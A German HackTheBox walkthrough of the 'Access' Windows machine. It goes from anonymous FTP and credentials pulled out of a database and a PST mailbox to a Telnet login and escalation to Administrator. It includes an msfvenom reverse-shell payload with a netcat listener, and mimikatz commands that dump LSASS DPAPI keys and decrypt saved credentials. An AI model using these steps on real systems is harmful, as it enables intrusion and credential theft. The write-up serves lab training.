> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md).

# Access HackTheBox Writeup

{% embed url="<https://app.hackthebox.com/machines/Access>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* FTP-Enumeration
* Extraktion einer Microsoft-Access-Datenbank
* PST-Analyse, in Windows gespeicherte Anmeldedaten
* DPAPI.
  {% endhint %}

## Aufklärung

Erstellen Sie einen Arbeitsbereich und bestätigen Sie, dass das Ziel erreichbar ist.

{% code overflow="wrap" %}

```bash
mkdir Access
cd !$

ping -c 1 10.129.6.20
settarget Access 10.129.6.20
```

{% endcode %}

Das Ziel ist ein Windows-Host.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVDIWyGMLTCskr6Jub4GY%2Fimage.png?alt=media&amp;token=ad62c7bd-757d-430e-9b99-f60f5fe6598d" alt=""><figcaption></figcaption></figure>

Führen Sie einen vollständigen TCP-Port-Scan durch.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVS0CeyhCjWeeP6f27jwq%2Fimage.png?alt=media&amp;token=08438448-903d-40ef-a6da-19e003264b3e" alt=""><figcaption></figcaption></figure>

Der Scan identifiziert FTP, Telnet und HTTP auf den Ports `21`, `23`, und `80`. Ermitteln Sie ihre Dienstversionen.

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,23,80 10.129.6.20 -oN targeted
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ffn8ZoR9JXXQb0KrQ3JXh%2Fimage.png?alt=media&amp;token=4991651c-1019-463c-99cd-1b63531a85f1" alt=""><figcaption></figcaption></figure>

Anonymer FTP-Zugriff ist aktiviert.

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.6.20
```

{% endcode %}

Der FTP-Server enthält die `Sicherungen` und `Ingenieur` Verzeichnisse.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTfQD2boybWfhmDE0fXKZ%2Fimage.png?alt=media&amp;token=c725c532-1238-4a92-85a3-e67588bc60c5" alt=""><figcaption></figcaption></figure>

Herunterladen `backup.mdb` von `Sicherungen` im Binärmodus. Laden Sie `Access Control.zip` von `Ingenieur`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKzch5DtPk2F18yLd0TgN%2Fimage.png?alt=media&amp;token=66a2cf26-11d3-4536-8d66-af1acd719d6c" alt=""><figcaption></figcaption></figure>

Listen Sie die Tabellen in der Microsoft-Access-Datenbank auf.

{% code overflow="wrap" %}

```bash
mdb-tables backup.mdb
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FHWDOmeDojxxzpsa5PfTJ%2Fimage.png?alt=media&amp;token=27db277d-c3c7-4238-84bc-feb0e4533204" alt=""><figcaption></figcaption></figure>

Exportieren Sie jede Tabelle zur Überprüfung als CSV.

{% code overflow="wrap" %}

```bash
for table in $(mdb-tables backup.mdb); do
    mdb-export backup.mdb "$table" > "$table.csv"
done
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJKB1AhwNf6QNXXD9T3Bu%2Fimage.png?alt=media&amp;token=44af28cc-1b98-4dff-bd58-854098d1915a" alt=""><figcaption></figcaption></figure>

Das `auth_user.csv` Der Export enthält Anmeldedaten.

{% code overflow="wrap" %}

```bash
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJl2ktm2tY9sjBTcefEb%2Fimage.png?alt=media&amp;token=3cf3b1f5-f9ad-4529-9f5f-172b60f2f45e" alt=""><figcaption></figcaption></figure>

Verwenden Sie das `engineer` Passwort zum Entpacken des Archivs.

{% code overflow="wrap" %}

```bash
7z x Access\ Control.zip

access4u@security
```

{% endcode %}

Das Archiv enthält eine Outlook-PST-Datei.

> Access Control.pst: Microsoft Outlook Persönlicher Speicher (>=2003, Unicode, Version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fx9boVWacMkC8qgfRJzLm%2Fimage.png?alt=media&amp;token=88eb71a9-b7c0-4f45-a56c-316d7141ab6f" alt=""><figcaption></figcaption></figure>

Extrahieren Sie die PST-Nachrichten.

{% code overflow="wrap" %}

```bash
readpst -cv -e -o output Access\ Control.pst
```

{% endcode %}

Dies erstellt eine `.eml` Nachricht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0QACuXWQNNabgThCKkA9%2Fimage.png?alt=media&amp;token=53d768b2-0d2d-4922-9148-12c7b3db20f6" alt="" width="563"><figcaption></figcaption></figure>

Die E-Mail verrät das `security` Kontopasswort.

{% code overflow="wrap" %}

```bash
Hallo,

Das Passwort für das Konto „security“ wurde in 4Cc3ssC0ntr0ller geändert. Bitte stellen Sie sicher, dass dies an Ihre Techniker weitergegeben wird.

Mit freundlichen Grüßen,

John
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUuS1sfwnzt8Atl6bGmPk%2Fimage.png?alt=media&amp;token=032a163a-cd85-4a5d-b4fc-f6c9bce26b5b" alt=""><figcaption></figcaption></figure>

Melden Sie sich bei Telnet an als `security`.

{% code overflow="wrap" %}

```bash
telnet 10.129.6.20 23
```

{% endcode %}

* security
* 4Cc3ssC0ntr0ller

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYxR9raexynig7kmZcCOF%2Fimage.png?alt=media&amp;token=dcb90316-58d8-4612-ac95-6320427bcdf6" alt=""><figcaption></figcaption></figure>

Beschaffen Sie `user.txt`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FI2U0WrPz5pgMzkX6V1eY%2Fimage.png?alt=media&amp;token=02748b50-a228-4b05-89c2-aee47737ac8a" alt="" width="563"><figcaption></figcaption></figure>

### Privilegieneskalation mit gespeicherten Anmeldedaten

Listen Sie die von Windows gespeicherten Anmeldedaten auf.

{% code overflow="wrap" %}

```bash
cmdkey /list
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fjjt1CwuEyxGdkfTFdcc7%2Fimage.png?alt=media&amp;token=a432ffae-80b6-44f1-9c98-07789946431e" alt=""><figcaption></figcaption></figure>

Die gespeicherten `ACCESS\Administrator` Anmeldedaten können einen Prozess mit `runas /savecred`. Erstellen Sie eine Reverse-Shell-Nutzlast.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe
```

{% endcode %}

Übertragen `nikos.exe` auf das Ziel. Starten Sie dann einen Listener auf Port `1234`.

{% code overflow="wrap" %}

```bash
nc -nlvp 1234
```

{% endcode %}

Führen Sie die Nutzlast aus als `ACCESS\Administrator`.

{% code overflow="wrap" %}

```bash
runas /savecred /user:ACCESS\Administrator "nikos.exe"
```

{% endcode %}

Der Callback läuft als Administrator.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FicWrstrFbRpaer3OffgR%2Fimage.png?alt=media&amp;token=ac609f78-43d2-416c-aa70-fd8fa09f7400" alt=""><figcaption></figcaption></figure>

Beschaffen Sie `root.txt`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1Gto8ORCqdGXkahypOA9%2Fimage.png?alt=media&amp;token=881eca78-e082-41d6-bddb-b71facf0cc2d" alt=""><figcaption></figcaption></figure>

### Das gespeicherte Administrator-Anmeldedatum wiederherstellen

Die gespeicherte Anmeldedaten sind mit DPAPI geschützt. Stellen Sie ihr Geheimnis aus dem `security` Profil wieder her.

#### Anmeldedaten-Blobs lokalisieren

Die Blobs befinden sich im `security` Profil. Verwenden Sie `/a` weil die Dateien versteckt sind.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials
```

{% endcode %}

* `0F16D9D2A97B325E559235F507B7AB01`
* `51AB168BE4BDB3A603DADE4F8CA81290`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqAYw6BfQPEcE6RW36I5u%2Fimage.png?alt=media&amp;token=64c05956-1223-4e71-b1fb-180a27d6c014" alt=""><figcaption></figcaption></figure>

Der richtige Blob ist `51AB168BE4BDB3A603DADE4F8CA81290`. Sein `08/22/2018` Zeitstempel stimmt mit dem Public-Desktop- `.lnk` Datei überein. Der andere Blob wurde während der Überprüfung erstellt.

#### Identifizieren Sie die Master-Key-GUID

Untersuchen Sie den Blob, um den benötigten DPAPI-Master-Key zu identifizieren.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit"
```

{% endcode %}

Notieren Sie die Master-Key-GUID.

* guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCAcSHIjewR6HrFk3y3NZ%2Fimage.png?alt=media&amp;token=26894652-1627-41c2-a857-f347582d118e" alt=""><figcaption></figcaption></figure>

#### Prüfen Sie LSASS auf den Master-Key

Dumpen Sie die in LSASS geladenen DPAPI-Master-Keys.

{% code overflow="wrap" %}

```bash
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

{% endcode %}

Die erforderliche GUID `{0792c32e-...}` ist nicht vorhanden. Das passiert, weil:

* Der Master-Key gehört zu dem `security` Profil wieder her.
* Die aktuelle Sitzung läuft als `Administrator`.
* Das `security` Der Master-Key ist in diesem Kontext nicht geladen.

Der Dump enthält nur Master-Keys für `Administrator` und `ACCESS$`.

```
GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997}   → Administrator
GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d}   → ACCESS$
```

#### Den Master-Key von der Festplatte entschlüsseln

Entschlüsseln Sie den Master-Key direkt von der Festplatte. Verwenden Sie den bekannten `security` Passwort offengelegt werden.

Suchen Sie zuerst die Master-Key-Datei.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001
```

{% endcode %}

{% hint style="info" %}
Das `security` Die SID endet mit `-1001`. Die SID des Administrators endet mit `-500`.
{% endhint %}

Entschlüsseln Sie den Master-Key mit Mimikatz.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"
```

{% endcode %}

Der SHA-1 des Master-Keys ist `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F52j5JHIQby1fLXuxNZgd%2Fimage.png?alt=media&amp;token=91396364-6d7f-47c9-a195-a0a33472b1ef" alt=""><figcaption></figcaption></figure>

#### Den Anmeldedaten-Blob entschlüsseln

Verwenden Sie den SHA-1 des Master-Keys, um den Anmeldedaten-Blob zu entschlüsseln und das gespeicherte Passwort wiederherzustellen.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit"
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9MyDGfapQIAsSlsZA7iq%2Fimage.png?alt=media&amp;token=e1d3de3b-0025-442d-a10d-29d4a84c7873" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
